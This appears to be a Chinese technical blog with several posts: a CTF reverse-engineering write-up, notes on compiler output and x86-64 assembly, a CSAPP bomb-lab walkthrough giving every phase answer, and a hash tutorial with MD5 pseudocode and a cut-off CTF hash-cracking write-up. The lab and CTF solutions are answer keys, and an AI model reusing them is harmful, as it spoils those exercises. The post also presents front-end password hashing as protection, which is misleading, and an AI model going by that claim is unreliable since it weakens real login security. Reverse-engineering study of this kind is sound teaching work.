.data:00000000006CC0A6                     db  22h ; "
10
.data:00000000006CC0A7                     db  45h ; E
11
.data:00000000006CC0A8                     db  17h
12
.data:00000000006CC0A9                     db  2Fh ; /
13
.data:00000000006CC0AA                     db  24h ; $
14
.data:00000000006CC0AB                     db  6Eh ; n
15
.data:00000000006CC0AC                     db  62h ; b
16
.data:00000000006CC0AD                     db  3Ch ; <
17
.data:00000000006CC0AE                     db  27h ; '
18
.data:00000000006CC0AF                     db  54h ; T
19
.data:00000000006CC0B0                     db  48h ; H
20
.data:00000000006CC0B1                     db  6Ch ; l
21
.data:00000000006CC0B2                     db  24h ; $
22
.data:00000000006CC0B3                     db  6Eh ; n
23
.data:00000000006CC0B4                     db  72h ; r
24
.data:00000000006CC0B5                     db  3Ch ; <
25
.data:00000000006CC0B6                     db  32h ; 2
26
.data:00000000006CC0B7                     db  45h ; E
27
.data:00000000006CC0B8                     db  5Bh ; [
28
.data:00000000006CC0B9                     db    0

展开收起

通过查询 byte_6CC0A0 的交叉引用，我们发现它被函数 sub_400D35() 使用了。分析该函数会发现 byte_6CC0A3 其实也属于 byte_6CC0A0，于是进行修复，得到最终的函数：

1
unsigned __int64 __fastcall sub_400D35(__int64 a1, __int64 a2)
2
{
3
  unsigned __int64 result; // rax
4
  unsigned int v3; // [rsp+Ch] [rbp-24h]
5
  int i; // [rsp+10h] [rbp-20h]
6
  int j; // [rsp+14h] [rbp-1Ch]
7
  unsigned int v6; // [rsp+24h] [rbp-Ch]
8
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]
9

10
  v7 = __readfsqword(0x28u);
11
  v3 = sub_43FD20(0) - qword_6CEE38;
12
  for ( i = 0; i <= 1233; ++i )
13
  {
14
    sub_40F790(v3);
15
    sub_40FE60();
16
    sub_40FE60();
17
    v3 = sub_40FE60() ^ 0x98765432;
18
  }
19
  v6 = v3;
20
  if ( (v3 ^ realFlag[0]) == 'f' && (HIBYTE(v6) ^ realFlag[3]) == 'g' )
21
  {
22
    for ( j = 0; j <= 24; ++j )
23
      sub_410E90(realFlag[j] ^ *(&v6 + j % 4));
24
  }
25
  result = __readfsqword(0x28u) ^ v7;
26
  if ( result )
27
    StackErrorexit();
28
  return result;
29
}

展开收起

循环 1 生成随机值 v3，然后赋值给 v6。接下来是一个判断，v3（取低位的 1 字节）和 realFlag 的第一个字符进行异或后等于 f 且 v6 取高位的 1 字节和 realFlag 的第四个字符进行异或后得到 g，则进入第 2 个循环，将 realFlag 和 v6 异或得到 flag。

因此我们需要得到符合条件的 v6。根据进入循环 2 的条件，我们可以将 flag 和 realFlag 的前四个元素进行异或，得到正确的 v6，然后用 v6 和 realFlag 异或得到 flag。

1
cipher = [0x40, 0x35, 0x20, 0x56, 0x5D, 0x18, 0x22, 0x45, 0x17, 0x2F, 0x24, 0x6E, 0x62, 0x3C, 0x27, 0x54, 0x48, 0x6C, 0x24, 0x6E, 0x72, 0x3C, 0x32, 0x45, 0x5B]
2
key = [0x40^ord('f'),0x35^ord('l'),0x20^ord('a'),0x56^ord('g')]
3
flag = ""
4
for i in range(len(cipher)):
5
    flag += chr(cipher[i]^(key[i%4]))
6
print(flag)
7
# flag{Act1ve_Defen5e_Test}

题做完了，不过我们还想看一下出题人是怎么把这个函数埋入程序执行流程中的。

查询 sub_400D35() 的交叉引用，会发现这个函数是存放于 .fini_array 中的。在程序启动流程中，main 函数返回之后便会执行 __libc_csu_fini() 函数，静态编译下该函数会按降序取出 .fini_array 中的函数指针并执行。

Note

_fini_array 是一个特殊的 ELF 符号数组，用于存储在程序或共享对象的终止（清理）阶段将要执行的终止函数的地址。运行时的链接器/加载器会在程序或共享对象终止时依次调用这些函数，以完成清理工作。_fini_array 是 ELF 文件中的一部分，属于特殊的节 (section) 之一。这些特殊节在程序执行过程中具有特定的目的和执行顺序。

在 C 程序中，可以通过 __attribute__((destructor)) 指定一个函数在程序退出时执行，这些函数的地址会被放入 .fini_array 中。例如：

1
#include <stdio.h>
2

3
void cleanup() __attribute__((destructor));
4

5
void cleanup() {
6
    printf("Program is exiting. Cleaning up resources...\n");
7
}
8

9
int main() {
10
    printf("Hello, World!\n");
11
    return 0;
12
}

这个题目属于“可执行代码段中没有被显式 CALL 的函数”，是准确反汇编的主要障碍之一。¹很显然，大量选手（包括我哈）都缺乏应对这类题的经验。在我耻辱下播查阅 WP 时，有相当数量的作者说自己没有想到这一点，只能参考别人的 WP。

Footnotes#

Disassembly Challenges ↩

编译器为我做了什么

Sat, 19 Jul 2025 17:04:30 GMT

Base Video

C++Now 2018 - Matt Godbolt “What Else Has My Compiler Done For Me Lately”

Backstory#

考虑一下不同代码写法会不会影响性能？例如：

写法 A

1
int sum(const std::vector<int> &v)
2
{
3
  int result = 0;
4
  for(size_t i = 0; i < v.size(); ++i)
5
  {
6
    result += v[i];
7
  }
8
  return result;
9
}

写法 B

1
int sum(const std::vector<int> &v)
2
{
3
  int result = 0;
4
  for(int x : v)
5
  {
6
    result += x;
7
  }
8
  return result;
9
}

这两种写法在功能上等效。但如果想真正确认哪一种在性能上取胜，则需要使用基准测试 (benchmark)。在这里，写法 B 的性能更好。

与此同时，我们还想知道自己能否承担这种性能提升的代价，这时需要查看编译器输出的汇编结果了。

Warning

不要只看汇编结果。我们看不完那么多汇编指令，而且这还是经过编译器优化修改过的产物。如果需要比较，请一并做好基准测试。

x86_64 Assembly 101#

寄存器#

x86_64 架构下的寄存器有：

rax, rbx, rcx, rdx, rsp, rbp, rsi, rdi, r8-r15
xmm0-xmm15
rdi, rsi, rdx 等用来存储变量
rax 用于存储返回值

64 位的数存进了 32 位的 eax？

在 x86_64 架构中，rax 的长度是 64 位，eax 的长度是 32 位。当数据写入 eax 中时，实际上是将 rax 的高位的 32 个位清 0，仅在低位的 32 个位写入数据。这是一个寄存器相关的技巧。

指令格式#

我们使用 Intel 语法格式：

1
op
2
op dest
3
op dest, src
4
op dest, src1, src2

这里的 op 指代任意汇编指令，比如 mov, call。dest 和 src 是寄存器或者内存指针，使用“基址+偏移”表示，即 base + [reg1] + [reg2 * (1, 2, 4 or 8)]

汇编指令与伪 C 代码的对照#

汇编

1
mov eax, DWORD PTR [r14]
2
add rax, rdi
3
add eax, DWORD PTR [r14+4]
4
sub eax, DWORD PTR [r14+4*rbx]
5
lea rax, [r14+4*rbx]
6
xor edx, edx

伪 C 代码

1
int eax = *r14 // int *r14;
2
rax += rdi;
3
eax += r14[1];
4
eax -= r14[rbx];
5
int *rax = &r14[rbx];
6
edx = 0;

如何清 0 寄存器？

有人会将 edx = 0 肉编译为 mov edx, 0，但这里却是用 xor edx, edx。有两个原因：1）mov 中使用的 0 必须以 4 字节存储，体积要大得多；2）指令集已经明白 xor 有清 0 的作用，因此进行对应优化——换句话说，xor 更偏向“重置”。

Compiler Explorer#

最初的 Compiler Explorer 是一个本地 shell 脚本，主要功能部分长这样：

Terminal window

1
g++ /tmp/test.cc -O2 -c -S -o --masm=intel \
2
  | c++filt \
3
  | grep -vE '\s+\.'

然后用 Unix 工具 watch 持续运行脚本，得到近实时编译结果：

1
sum(std::vector<int, std::allocator<int> > const&):
2
.LFB786:
3
  mov rcx, QWORD PTR [rdi]
4
  mov rax, QWORD PTR 8[rdi]
5
  sub rax, rcx
6
  shr rax, 2
7
  mov rsi, rax
8
  ; ...

后面部署到线上，有了 GUI，可以在 Compiler Explorer 上探索。

通过示例，我们可以清晰地看到写法 A 和写法 B 的汇编区别：写法 B 的汇编明显更短。

Warning

本文的示例使用 x86-64 gcc 15.1 -O2 编译这些函数，而原作者使用 x86-64 gcc 8.1 编译，得到的结果会有差异。

通过引入 numeric 库，我们还有写法 C：

1
int sum(const std::vector<int> &v)
2
{
3
    return accumulate(begin(v), end(v), 0);
4
}

写法 C 的汇编几乎和 B 相同，只有两个指令的差异——不过是位置的变化罢了。

CSAPP Lab2 Note

Thu, 17 Jul 2025 14:00:37 GMT

Tip

CASPP 的 LAB 放在 Lab Assignments 上，在“Self-Study Handout”出下载对应 LAB 的资源。

课程 Lab 说明：“二进制炸弹”是一个提供给学生的可执行文件。运行时，它会提示用户输入 6 个不同的字符串。如果这些字符串中有任何一个不正确，炸弹就会“爆炸”并打印错误信息。学生必须通过反汇编和逆向自己的炸弹来确定这 6 个字符串应该是什么。这个实验让学生理解汇编语言，并强迫他们学习如何使用调试器（GDB）。这是一个你可以自己尝试的 Linux/x86-64 二进制炸弹。

我们选择的是“自学”模块，没有远程服务端检查和扣分机制，可以随意调试。但是，CMU 的同学就会有这些机制，输错了就扣分，所以需要小心调试。

解压 tar 包，得到三个文件 bomb、bomb.c 和一个 README，README 只说了这是一个 x86-64 程序。

`bomb.c` 解读#

bomb.c 应该就是 bomb 的主代码了。

代码引入了两个自定义库 support.h 和 phases.h，也就是说我们想要的字符串必须从程序中得到。

然后是命令行参数要求，总结如下：

bomb：标准的按行输入
bomb <file>：先从 <file> 中读取输入，结束后再转到标准输入
不可提供更多命令行参数，否则打印用法

然后就是打印提示信息并要求输入了。整个代码解读完毕，现在转向程序。

`bomb` 逆向 - GDB#

在 Linux 上使用包管理器安装 GDB，使用 gdb bomb 开始调试

基本操作：

`bomb` 逆向 - IDA#

这个 Lab 是需要在 Linux 环境下运行的，不过我们在 Windows 上，所以先用 IDA 分析一下。这里可以用 bomb.c 修复一下函数参数表，有些参数是没有用的：

1
int __fastcall main(int argc, const char **argv)
2
{
3
  const char *line; // rax
4
  const char *v3; // rax
5
  const char *v4; // rax
6
  const char *v5; // rax
7
  const char *v6; // rax
8
  const char *v7; // rax
9

10
  if ( argc == 1 )
11
  {
12
    infile = (FILE *)stdin;
13
  }
14
  else
15
  {
16
    if ( argc != 2 )
17
    {
18
      __printf_chk(1, "Usage: %s [<input_file>]\n", *argv);
19
      exit(8);
20
    }
21
    infile = fopen(argv[1], "r");
22
    if ( !infile )
23
    {
24
      __printf_chk(1, "%s: Error: Couldn't open %s\n", *argv, argv[1]);
25
      exit(8);
26
    }
27
  }
28
  initialize_bomb();
29
  puts("Welcome to my fiendish little bomb. You have 6 phases with");
30
  puts("which to blow yourself up. Have a nice day!");
31
  line = read_line();
32
  phase_1(line);
33
  phase_defused();
34
  puts("Phase 1 defused. How about the next one?");
35
  v3 = read_line();
36
  phase_2(v3);
37
  phase_defused();
38
  puts("That's number 2.  Keep going!");
39
  v4 = read_line();
40
  phase_3(v4);
41
  phase_defused();
42
  puts("Halfway there!");
43
  v5 = read_line();
44
  phase_4(v5);
45
  phase_defused();
46
  puts("So you got that one.  Try this one.");
47
  v6 = read_line();
48
  phase_5((__int64)v6);
49
  phase_defused();
50
  puts("Good work!  On to the next...");
51
  v7 = read_line();
52
  phase_6(v7);
53
  phase_defused();
54
  return 0;
55
}

展开收起

Phase1#

先来看 Phase1，点进 phase_1(line)，即可得到内容：

1
result = strings_not_equal(line, "Border relations with Canada have never been better.");

Phase1 就是 Border relations with Canada have never been better.。

Phase2#

接下来是 Phase2。有了 Phase1 的经验，我们点开 phase_2(v5)：

1
__int64 __fastcall phase_2(__int64 a1)
2
{
3
  __int64 result; // rax
4
  char *v2; // rbx
5
  int v3; // [rsp+0h] [rbp-38h] BYREF
6
  char v4; // [rsp+4h] [rbp-34h] BYREF
7
  char v5; // [rsp+18h] [rbp-20h] BYREF
8

9
  read_six_numbers(a1, &v3);
10
  if ( v3 != 1 )
11
    explode_bomb();
12
  v2 = &v4;
13
  do
14
  {
15
    result = (unsigned int)(2 * *((_DWORD *)v2 - 1));
16
    if ( *(_DWORD *)v2 != (_DWORD)result )
17
      explode_bomb();
18
    v2 += 4;
19
  }
20
  while ( v2 != &v5 );
21
  return result;
22
}

展开收起

先看第一个读取函数 read_six_numbers(a1, &v3)：

1
__int64 __fastcall read_six_numbers(__int64 a1, __int64 a2)
2
{
3
  __int64 n5; // rax
4

5
  n5 = __isoc99_sscanf(a1, "%d %d %d %d %d %d", a2, a2 + 4, a2 + 1, a2 + 12, a2 + 2, a2 + 20);
6
  if ( (int)n5 <= 5 )
7
    explode_bomb();
8
  return n5;
9
}

核心就是 __isoc99_sscanf。查询函数定义¹可知，这里是从我们输入的 Phase2 中读取格式化的“%d %d %d %d %d %d”并写入 v3[i]。

我们可以在这里修复一下函数定义，修复后的 phase_2(v5)：

1
int __fastcall phase_2(const char *a1)
2
{
3
  int result; // eax
4
  int *v2; // rbx
5
  int v3[6]; // [rsp+0h] [rbp-38h] BYREF
6
  int v4; // [rsp+18h] [rbp-20h] BYREF
7

8
  read_six_numbers(a1, v3);
9
  if ( v3[0] != 1 )
10
    explode_bomb();
11
  v2 = &v3[1];
12
  do
13
  {
14
    result = 2 * *(v2 - 1);
15
    if ( *v2 != result )
16
      explode_bomb();
17
    ++v2;
18
  }
19
  while ( v2 != &v4 );
20
  return result;
21
}

展开收起

可以知道，v3[0] ，即第一个输入值必然是 1。v2 对应第二个输入值的地址。

然后进入一个 do-while 循环，循环条件是 v2 不等于 v4 的地址。

循环体的逻辑是计算 2 * v2[i-1] 的值，然后和 v2[i] 进行比较。如果不相等，就引爆炸弹。然后移动到下一个元素。

v4 和我们的输入无关且分配内存时接在 v3 之后，基于内存连续性，我们认为数组 v3 结束于地址 v4。

v3 应当是一个初始值为 1，公比为 2 的等比数列，即 1, 2, 4, 8, 16, 32

Phase2 就是 1 2 4 8 16 32

Phase3#

1
  if ( (int)__isoc99_sscanf(a1, "%d %d", &v2, &n207_1) <= 1 )
2
    explode_bomb();
3
  switch ( v2 )
4
  {
5
    case 0:
6
      n207 = 207;
7
      break;
8
    case 1:
9
      n207 = 311;
10
      break;
11
    case 2:
12
      n207 = 707;
13
      break;
14
    case 3:
15
      n207 = 256;
16
      break;
17
    case 4:
18
      n207 = 389;
19
      break;
20
    case 5:
21
      n207 = 206;
22
      break;
23
    case 6:
24
      n207 = 682;
25
      break;
26
    case 7:
27
      n207 = 327;
28
      break;
29
    default:
30
      explode_bomb();
31
  }
32
  if ( (_DWORD)n207 != n207_1 )
33
    explode_bomb();
34
  return n207;
35
}

展开收起

要求输入的数值对符合 switch-case 定义的 8 种情况，否则炸弹爆炸。

一个合法的 Phase3 示例为 0 207

Phase4#

1
  if ( (unsigned int)__isoc99_sscanf(a1, "%d %d", &n0xE, &v3) != 2 || n0xE > 14 )
2
    explode_bomb();
3
  result = func4(n0xE, 0, 14);
4
  if ( (_DWORD)result || v3 )                   // v3 = 0
5
    explode_bomb();
6
  return result;

输入的数值对中，第一个输入的值不能大于 14，第二个值必须为 0。

result，即 func 的返回值必须为 0。

1
__int64 __fastcall func4(signed int n0xE, __int64 a2, int n14)
2
{
3
  signed int _0xE_1___7; // ecx
4
  __int64 result; // rax
5

6
  _0xE_1___7 = (n14 - (int)a2) / 2 + a2;        // 0xE_1 = 7
7
  if ( _0xE_1___7 > n0xE )
8
    return 2 * (unsigned int)func4(n0xE, a2, _0xE_1___7 - 1);
9
  result = 0;
10
  if ( _0xE_1___7 < n0xE )
11
    return 2 * (unsigned int)func4(n0xE, (unsigned int)(_0xE_1___7 + 1), n14) + 1;
12
  return result;
13
}

函数的核心逻辑：

计算中点：_0xE_1___7 = (n14 - a2) / 2 + a2，即区间 [a2, n14] 的中间值
如果中点 > 目标值：递归搜索左半区间 [a2, mid-1]，返回值乘以 2
如果中点 < 目标值：递归搜索右半区间 [mid+1, n14]，返回值乘以 2 再加 1
如果中点 == 目标值：返回 0

由于返回值要求 0，因此我们的目标值就需要一次等于计算出来的中点，即 7。

Phase4 为 7 0

Phase5#

1
unsigned __int64 __fastcall phase_5(const char *line)
2
{
3
  __int64 i; // rax
4
  char line_; // [rsp+10h] [rbp-18h] BYREF
5
  char v4; // [rsp+16h] [rbp-12h]
6
  unsigned __int64 v5; // [rsp+18h] [rbp-10h]
7

8
  v5 = __readfsqword(0x28u);
9
  if ( (unsigned int)string_length(line) != 6 )
10
    explode_bomb();
11
  for ( i = 0; i != 6; ++i )
12
    *(&line_ + i) = array_3449[line[i] & 0xF];
13
  v4 = 0;
14
  if ( (unsigned int)strings_not_equal(&line_, "flyers") )
15
    explode_bomb();
16
  return __readfsqword(0x28u) ^ v5;
17
}

需要输入长度为 6 的字符串。每个字符和 0xF 相与后在 array_3449 寻找对应下标字符，再回写。最终字符串要等于 flyers

array_3449: maduiersnfotvbyl

Phase5 为 9?>567

Phase6#

1
__int64 __fastcall phase_6(const char *a1)
2
{
3
  int *filted_input_1; // r13
4
  int n5_2; // r12d
5
  int n5; // ebx
6
  int *filted_input_2; // rax
7
  unsigned __int64 i; // rsi
8
  _QWORD *p_node1; // rdx
9
  int v7; // eax
10
  int v8; // ecx
11
  __int64 j_3; // rbx
12
  char *v10; // rax
13
  __int64 j; // rcx
14
  __int64 j_2; // rdx
15
  int n5_1; // ebp
16
  __int64 result; // rax
17
  int filted_input[6]; // [rsp+0h] [rbp-78h] BYREF
18
  char v16; // [rsp+18h] [rbp-60h] BYREF
19
  __int64 j_1; // [rsp+20h] [rbp-58h]
20
  char v18; // [rsp+28h] [rbp-50h] BYREF
21
  char v19; // [rsp+50h] [rbp-28h] BYREF
22

23
  filted_input_1 = filted_input;
24
  read_six_numbers(a1, filted_input);
25
  n5_2 = 0;
26
  while ( 1 )
27
  {
28
    if ( (unsigned int)(*filted_input_1 - 1) > 5 )// if(filted_input[i] > 6)
29
      explode_bomb();
30
    if ( ++n5_2 == 6 )
31
      break;
32
    n5 = n5_2;
33
    do
34
    {
35
      if ( *filted_input_1 == filted_input[n5] )// the input should be diff from each other
36
        explode_bomb();
37
      ++n5;
38
    }
39
    while ( n5 <= 5 );
40
    ++filted_input_1;
41
  }
42
  filted_input_2 = filted_input;
43
  do
44
  {
45
    *filted_input_2 = 7 - *filted_input_2;      // f_input[i] = 7 - f_input[i]
46
    ++filted_input_2;
47
  }
48
  while ( filted_input_2 != (int *)&v16 );
49
  for ( i = 0; i != 24; i += 4LL )
50
  {
51
    v8 = filted_input[i / 4];
52
    if ( v8 <= 1 )
53
    {
54
      p_node1 = &node1;
55
    }
56
    else
57
    {
58
      v7 = 1;
59
      p_node1 = &node1;
60
      do
61
      {
62
        p_node1 = (_QWORD *)p_node1[1];
63
        ++v7;
64
      }
65
      while ( v7 != v8 );
66
    }
67
    *(__int64 *)((char *)&j_1 + 2 * i) = (__int64)p_node1;
68
  }
69
  j_3 = j_1;
70
  v10 = &v18;
71
  for ( j = j_1; ; j = j_2 )
72
  {
73
    j_2 = *(_QWORD *)v10;
74
    *(_QWORD *)(j + 8) = *(_QWORD *)v10;
75
    v10 += 8;
76
    if ( v10 == &v19 )
77
      break;
78
  }
79
  *(_QWORD *)(j_2 + 8) = 0;
80
  n5_1 = 5;
81
  do
82
  {
83
    result = **(unsigned int **)(j_3 + 8);
84
    if ( *(_DWORD *)j_3 < (int)result )
85
      explode_bomb();
86
    j_3 = *(_QWORD *)(j_3 + 8);
87
    --n5_1;
88
  }
89
  while ( n5_1 );
90
  return result;
91
}

展开收起

首先，需要输入 6 个数字，每个数字都不相同，且在 1~6 之间（无符号数，小于 1 就溢出了）。

然后对输入进行变换，将每个数字 x 替换为 7 - x，即原来的 16 变成 61。

根据变换后的输入选择 node<x>，再将 node<x> 链接成一个链表，检查此链表的节点值是否按降序排序。如果按降序排序，那么原始输入就是合法的。

node 结构大概是：

1
struct node {
2
    int value;
3
    int id;
4
    struct node *next;
5
};

我们可以通过查看内存布局得到各个 node 的具体数据。

排序后发现降序顺序为：node3 → node4 → node5 → node6 → node1 → node2

对应的 id 为：3 4 5 6 1 2

Phase6 为 4 3 2 1 6 5

Secret Phase#

Footnotes#

C 库函数 int sscanf ↩

Hash系列算法

Mon, 14 Jul 2025 10:05:13 GMT

哈希函数（Hash Function，意译为“散列函数”）是一种从任何一种数据中创建小的数字“指纹”的方法。散列函数把消息或数据计算成摘要 (Digest)，使得数据量变小，将数据的格式固定下来。该函数将数据打乱混合，重新创建一个叫做哈希值（Hash value，又叫散列值）的指纹。

为什么叫“Hash”？

麦当劳售卖薯饼 (Hash Brown) 早餐，即将一整个马铃薯削成丝状，再将丝状马铃薯重新油炸成一整个薯饼。由于本质上是将原先的一个整体打散再重新组合且过程不可逆，正好符合该类算法的设计思路，于是称该类算法为哈希 (Hash) 算法。

由于哈希算法所计算出来的哈希值具有不可逆的性质，因此可有效的保护密码。

哈希算法如何保护密码？

用户注册时，密码先在前端进行哈希，哈希值传回后端数据库存储。用户登录时，输入的密码在前端进行哈希，然后传回后端进行比较。

哈希算法的基本性质#

出于密码学目的，哈希函数通常需要具备以下特性：

确定性输出：给定输入 A（如“I love cats”），每次哈希 A 都会得到相同的输出。
扩散性：输入的微小变化会导致输出的巨大变化。例如，“I love cats”和“I love kats”的哈希值完全不同，无法相互识别。
不可预测性：哈希结果应该是完全不可预测的；在生成的哈希值中不应存在可识别的模式。
不可逆性：无法通过给定的哈希值重构有效输入，因此唯一验证输入是否对应哈希值的方法是穷举法（暴力破解！）。
抗碰撞性：找到产生相同哈希值（或部分匹配哈希值）的两个输入应该非常困难。

Note
如果两个散列值相同，两个输入值并非必定是相同的。当两个散列值相同，但两个输入值不同时，这种情况就称为散列碰撞 (Collision)，这通常是两个不同长度的输入值，刻意计算出相同的输出值。不抗碰撞的哈希函数会完全破坏算法。理论上，一个良好的哈希函数应该是不可碰撞的，但是 MD5、SHA-1 等早期哈希算法已经被证明可碰撞，因此这些算法已经不再推荐用于加密，而是用于验证文件完整性等非加密用途。

大多数哈希算法的输出具有固定长度。由于所有输入本质上都是信息比特流，我们实际上是将任意长度的比特序列转换为看似随机的固定长度比特序列。

有时，为了增强哈希算法的抗碰撞性，我们会给明文加上“盐值”🧂。盐值会设置成一个随机的字符串，然后和明文进行拼接。由于加盐后的明文非常长，因此几乎不可能被碰撞。下面的 CTF 示例就有加盐的 MD5。

下面介绍几种常见的哈希算法。

MD5#

MD5 信息摘要算法 (MD5 Message-Digest Algorithm) 是 MD 系列算法的最常见版本。算法会生成一个 128 位的哈希值（长度为 32 的十六进制值）

用伪代码表示为：

1
// : All variables are unsigned 32 bit and wrap modulo 2^32 when calculating
2
var int s[64], K[64]
3
var int i
4

5
// s specifies the per-round shift amounts
6
s[ 0..15] := { 7, 12, 17, 22,  7, 12, 17, 22,  7, 12, 17, 22,  7, 12, 17, 22 }
7
s[16..31] := { 5,  9, 14, 20,  5,  9, 14, 20,  5,  9, 14, 20,  5,  9, 14, 20 }
8
s[32..47] := { 4, 11, 16, 23,  4, 11, 16, 23,  4, 11, 16, 23,  4, 11, 16, 23 }
9
s[48..63] := { 6, 10, 15, 21,  6, 10, 15, 21,  6, 10, 15, 21,  6, 10, 15, 21 }
10

11
// Use binary integer part of the sines of integers (Radians) as constants:
12
for i from 0 to 63 do
13
    K[i] := floor(232 × abs(sin(i + 1)))
14
end for
15
// (Or just use the following precomputed table):
16
K[ 0.. 3] := { 0xd76aa478, 0xe8c7b756, 0x242070db, 0xc1bdceee }
17
K[ 4.. 7] := { 0xf57c0faf, 0x4787c62a, 0xa8304613, 0xfd469501 }
18
K[ 8..11] := { 0x698098d8, 0x8b44f7af, 0xffff5bb1, 0x895cd7be }
19
K[12..15] := { 0x6b901122, 0xfd987193, 0xa679438e, 0x49b40821 }
20
K[16..19] := { 0xf61e2562, 0xc040b340, 0x265e5a51, 0xe9b6c7aa }
21
K[20..23] := { 0xd62f105d, 0x02441453, 0xd8a1e681, 0xe7d3fbc8 }
22
K[24..27] := { 0x21e1cde6, 0xc33707d6, 0xf4d50d87, 0x455a14ed }
23
K[28..31] := { 0xa9e3e905, 0xfcefa3f8, 0x676f02d9, 0x8d2a4c8a }
24
K[32..35] := { 0xfffa3942, 0x8771f681, 0x6d9d6122, 0xfde5380c }
25
K[36..39] := { 0xa4beea44, 0x4bdecfa9, 0xf6bb4b60, 0xbebfbc70 }
26
K[40..43] := { 0x289b7ec6, 0xeaa127fa, 0xd4ef3085, 0x04881d05 }
27
K[44..47] := { 0xd9d4d039, 0xe6db99e5, 0x1fa27cf8, 0xc4ac5665 }
28
K[48..51] := { 0xf4292244, 0x432aff97, 0xab9423a7, 0xfc93a039 }
29
K[52..55] := { 0x655b59c3, 0x8f0ccc92, 0xffeff47d, 0x85845dd1 }
30
K[56..59] := { 0x6fa87e4f, 0xfe2ce6e0, 0xa3014314, 0x4e0811a1 }
31
K[60..63] := { 0xf7537e82, 0xbd3af235, 0x2ad7d2bb, 0xeb86d391 }
32

33
// Initialize variables:
34
var int a0 := 0x67452301   // A
35
var int b0 := 0xefcdab89   // B
36
var int c0 := 0x98badcfe   // C
37
var int d0 := 0x10325476   // D
38

39
// Pre-processing: adding a single 1 bit
40
append "1" bit to message<
41
 // Notice: the input bytes are considered as bit strings,
42
 //  where the first bit is the most significant bit of the byte.[52]
43

44
// Pre-processing: padding with zeros
45
append "0" bit until message length in bits ≡ 448 (mod 512)
46

47
// Notice: the two padding steps above are implemented in a simpler way
48
  //  in implementations that only work with complete bytes: append 0x80
49
  //  and pad with 0x00 bytes so that the message length in bytes ≡ 56 (mod 64).
50

51
append original length in bits mod 264 to message
52

53
// Process the message in successive 512-bit chunks:
54
for each 512-bit chunk of padded message do
55
    break chunk into sixteen 32-bit words M[j], 0 ≤ j ≤ 15
56
    // Initialize hash value for this chunk:
57
    var int A := a0
58
    var int B := b0
59
    var int C := c0
60
    var int D := d0
61
    // Main loop:
62
    for i from 0 to 63 do
63
        var int F, g
64
        if 0 ≤ i ≤ 15 then
65
            F := (B and C) or ((not B) and D)
66
            g := i
67
        else if 16 ≤ i ≤ 31 then
68
            F := (D and B) or ((not D) and C)
69
            g := (5×i + 1) mod 16
70
        else if 32 ≤ i ≤ 47 then
71
            F := B xor C xor D
72
            g := (3×i + 5) mod 16
73
        else if 48 ≤ i ≤ 63 then
74
            F := C xor (B or (not D))
75
            g := (7×i) mod 16
76
        // Be wary of the below definitions of a,b,c,d
77
        F := F + A + K[i] + M[g]  // M[g] must be a 32-bit block
78
        A := D
79
        D := C
80
        C := B
81
        B := B + leftrotate(F, s[i])
82
    end for
83
    // Add this chunk's hash to result so far:
84
    a0 := a0 + A
85
    b0 := b0 + B
86
    c0 := c0 + C
87
    d0 := d0 + D
88
end for
89

90
var char digest[16] := a0 append b0 append c0 append d0 // (Output is in little-endian)

展开收起

Tip

不需要手写 MD5 算法过程。主流的加密库早已支持 MD5 加密。

MD5 算法于 1993 年发现“伪碰撞”，1996 年发现部分碰撞。2004 年，中国的王小云教授宣布发现了 MD5 的完整碰撞，该算法被证明不具有抗碰撞性。

目前破解 MD5 算法的方法就是查字典，比如 CMD5。

虽然 MD5 不再建议用于加密用途，但由于它比 SHA 系列更方便计算，因此仍有很多人将 MD5 用于非加密用途。

SHA-1#

Coming s∞n

破解方法#

由于 Hash 几乎无法逆向，因此我们一般使用穷举（爆破）方法解决 Hash 函数。

首先，一些比较简单的 Hash 可以从已有数据库中查询到原文。这是最简单且快速的方法了，如果一个查不到可以试试其他网站，本地也有像 Hashcat 这样的工具。

但对于 CTF 而言，出题者多半不会让你如此无脑得逞。原文可能较长，或者含有特殊字符，基本没有已有工具会破解到这些字符串，这时就需要自己写爆破脚本了。

如果自己写破解脚本，需要通过逆向知道原文的构成规律——个人计算机大概率是无法承受完全穷举的工作量的，所以我们需要有目的、有限制地爆破 Hash。下面举几个例子：

L3HCTF 2025 - TemporalParadox#

Tip

flag 形式为 L3HCTF{sha1(query string)}

本题需要得到“正确的查询字符串 (query string)”

题目是有一个简单的花指令的，去除一下，得到：

1
INT64 main(undefined8 param_1,undefined8 param_2,allocator *param_3,undefined8 param_4)
2

3
{
4
  INT64 uVar2;
5
  char *pcVar1;
6
  int *piVar2;
7
  ostream *poVar3;
8
  INT64 uVar1;
9
  string *unaff_RBP;
10

11
  FUN_140001d1e();
12
  FUN_14000a510((undefined4 *)(unaff_RBP + 0x20));
13
  uVar2 = FUN_140001493((__time64_t *)0x0);
14
  *(INT64 *)(unaff_RBP + 200) = uVar2;
15
  if ((0x686d4080 < *(longlong *)(unaff_RBP + 200)) && (*(longlong *)(unaff_RBP + 200) < 1752052052)
16
     ) {
17
    FUN_140001963(unaff_RBP + -0x60);
18
    *(string **)(unaff_RBP + 0xc0) = unaff_RBP + 0xb6;
19
    pcVar1 = (char *)std::__cxx11::string::c_str();
20
    piVar2 = md5Encode((int *)(unaff_RBP + 0x20),pcVar1,param_3,param_4);
21
    param_3 = (allocator *)(unaff_RBP + 0xb6);
22
    FUN_14000a820((_Alloc_hider *)(unaff_RBP + -0x40),(char *)piVar2,param_3);
23
    FUN_14000a6e0();
24
    poVar3 = std::operator<<((ostream *)PTR_PTR_cout_14000c9e0,"query: ");
25
    poVar3 = std::operator<<(poVar3,unaff_RBP + -0x60);
26
    std::ostream::operator<<(poVar3,(_func_ostream_ptr_ostream_ptr *)&DAT_140002018);
27
    poVar3 = std::operator<<((ostream *)PTR_PTR_cout_14000c9e0,unaff_RBP + -0x40);
28
    std::ostream::operator<<(poVar3,(_func_ostream_ptr_ostream_ptr *)&DAT_140002018);
29
    std::__cxx11::string::~string(unaff_RBP + -0x40);
30
    std::__cxx11::string::~string(unaff_RBP + -0x60);
31
  }
32
  std::__cxx11::string::string(unaff_RBP);
33
  poVar3 = std::operator<<((ostream *)PTR_PTR_cout_14000c9e0,
34
                           "Please input the right query string I used:");
35
  std::ostream::operator<<(poVar3,(_func_ostream_ptr_ostream_ptr *)&DAT_140002018);
36
  std::operator>>((istream *)PTR_PTR_cin_14000c9d0,unaff_RBP);
37
  *(string **)(unaff_RBP + 0xb8) = unaff_RBP + 0xb7;
38
  pcVar1 = (char *)std::__cxx11::string::c_str();
39
  piVar2 = md5Encode((int *)(unaff_RBP + 0x20),pcVar1,param_3,param_4);
40
